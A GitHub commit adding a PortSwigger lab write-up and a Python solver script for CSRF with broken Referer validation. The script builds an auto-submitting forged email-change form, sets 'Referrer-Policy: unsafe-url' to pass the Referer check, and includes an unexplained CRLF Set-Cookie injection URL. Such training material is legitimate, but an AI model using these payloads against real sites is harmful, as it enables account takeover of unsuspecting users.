-
Notifications
You must be signed in to change notification settings - Fork 104
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add CSRF with broken Referer validation
- Loading branch information
1 parent
7a109e0
commit 60ef0ef
Showing
11 changed files
with
135 additions
and
1 deletion.
There are no files selected for viewing
57 changes: 57 additions & 0 deletions
57
12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/README.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,57 @@ | ||
# Write-up: CSRF with broken Referer validation @ PortSwigger Academy | ||
|
||
![logo](img/logo.png) | ||
|
||
This write-up for the lab `CSRF with broken Referer validation` is part of my walk-through series for [PortSwigger's Web Security Academy](https://portswigger.net/web-security). | ||
|
||
Lab-Link: <https://portswigger.net/web-security/csrf/lab-referer-validation-broken> | ||
Difficulty: PRACTITIONER | ||
Python script: [script.py](script.py) | ||
|
||
## Lab description | ||
|
||
- Lab application contains an email change feature that is vulnerable to CSRF | ||
- Attempts to detect cross domain requests | ||
- Known good credentials `wiener:peter` | ||
|
||
### Goals | ||
|
||
- Create some HTML to change a viewers email address | ||
|
||
## Steps | ||
|
||
As usual in the lab section, the lab application is the blog website. The vast majority of considerations are the same as in the [Lab: CSRF where token validation depends on request method](../CSRF_where_token_validation_depends_on_request_method/README.md) so I will not duplicate it in here, please refer to that document. | ||
|
||
I login with the known credentials for `wiener` and change the email address. This results in the following request: | ||
|
||
![change_request](img/change_request.png) | ||
|
||
No obvious protections against CSRF is visible, sending the request to Repeater and change the email again works without issues. | ||
|
||
The first attempt is to use a trivial attack like in the [Lab: CSRF vulnerability with no defenses](../CSRF_vulnerability_with_no_defenses/README.md). As expected this fails with a descriptive error message indicating the referer-header: | ||
|
||
![trivial_attempt](img/trivial_attempt.png) | ||
|
||
The same occurs if I simply remove the referer in Repeater. If I copy the original referer-header in, it passes. Therefore I need to manipulate the referer in a way that passes the validation even though it is sent by the exploit server. | ||
|
||
As a first attempt, I simply add the correct URL at the end of the referer-header, basically forming a path: | ||
|
||
![real_url_as_path](img/real_url_as_path.png) | ||
|
||
The request goes through and the email gets changed. So as a first attempt I rename the exploit file to be the URL of the allowed host. The form I get from the `CSRF PoC generator` of Burp Suite Pro. If you use the community edition, copy the form from the account website and update it accordingly: | ||
|
||
![modify_path](img/modify_path.png) | ||
|
||
Unfortunately, the browser removes the path and I still get just the domain part in the URL. | ||
|
||
Fortunately, the documentation regarding referrer-policy on [mozilla.org](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy) shows the solution: | ||
|
||
![referrer_policy_docu](img/referrer_policy_docu.png) | ||
|
||
I create the final HTML page to include this header: | ||
|
||
![final_html](img/final_html.png) | ||
|
||
Viewing the exploit changes my email address, after `deliver exploit to victim` the lab updates to | ||
|
||
![success](img/success.png) |
Binary file added
BIN
+55.7 KB
...request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/change_request.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+40.5 KB
...ite_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/final_html.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+36.8 KB
...ross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/logo.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+41.3 KB
...te_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/modify_path.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+56.3 KB
...quest_forgery_CSRF/CSRF_with_broken_Referer_validation/img/real_url_as_path.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+9.42 KB
...t_forgery_CSRF/CSRF_with_broken_Referer_validation/img/referrer_policy_docu.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+25.3 KB
...s_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/success.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+58.4 KB
...equest_forgery_CSRF/CSRF_with_broken_Referer_validation/img/trivial_attempt.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
77 changes: 77 additions & 0 deletions
77
12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/script.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,77 @@ | ||
#!/usr/bin/env python3 | ||
# CSRF with broken Referer validation | ||
# Lab-Link: https://portswigger.net/web-security/csrf/lab-referer-validation-broken | ||
# Difficulty: PRACTITIONER | ||
from bs4 import BeautifulSoup | ||
import requests | ||
import sys | ||
import urllib3 | ||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | ||
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'} | ||
|
||
|
||
def find_exploitserver(text): | ||
soup = BeautifulSoup(text, 'html.parser') | ||
try: | ||
result = soup.find('a', attrs={'id': 'exploit-link'})['href'] | ||
except TypeError: | ||
return None | ||
return result | ||
|
||
|
||
def store_exploit(client, exploit_server, host): | ||
token = 'abc' | ||
cookieURL = f'{host}/?search=x%0d%0aSet-Cookie:+csrf={token}' | ||
data = {'urlIsHttps': 'on', | ||
'responseFile': f'/{host[8:]}', | ||
'responseHead': '''HTTP/1.1 200 OK | ||
Content-Type: text/html; charset=utf-8 | ||
Referrer-Policy: unsafe-url''', | ||
'responseBody': '''<form action="''' + host + '''/my-account/change-email" method="POST"> | ||
<input type="hidden" name="email" value="email@evil.me" /> | ||
<input type="submit" value="Submit request" /> | ||
</form> | ||
<img src=''' + cookieURL + ''' onerror="document.forms[0].submit()">''', | ||
'formAction': 'STORE'} | ||
|
||
return client.post(exploit_server, data=data).status_code == 200 | ||
|
||
|
||
def main(): | ||
print('[+] CSRF with broken Referer validation') | ||
try: | ||
host = sys.argv[1].strip().rstrip('/') | ||
except IndexError: | ||
print(f'Usage: {sys.argv[0]} <HOST>') | ||
print(f'Exampe: {sys.argv[0]} http://www.example.com') | ||
sys.exit(-1) | ||
|
||
client = requests.Session() | ||
client.verify = False | ||
client.proxies = proxies | ||
|
||
exploit_server = find_exploitserver(client.get(host).text) | ||
if exploit_server is None: | ||
print(f'[-] Failed to find exploit server') | ||
sys.exit(-2) | ||
print(f'[+] Exploit server: {exploit_server}') | ||
|
||
if not store_exploit(client, exploit_server, host): | ||
print(f'[-] Failed to store exploit file') | ||
sys.exit(-3) | ||
print(f'[+] Stored exploit file') | ||
|
||
if client.get(f'{exploit_server}/deliver-to-victim', allow_redirects=False).status_code != 302: | ||
print(f'[-] Failed to deliver exploit to victim') | ||
sys.exit(-4) | ||
print(f'[+] Delivered exploit to victim') | ||
|
||
if 'Congratulations, you solved the lab!' not in client.get(f'{host}').text: | ||
print(f'[-] Failed to solve lab') | ||
sys.exit(-9) | ||
|
||
print(f'[+] Lab solved') | ||
|
||
|
||
if __name__ == "__main__": | ||
main() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters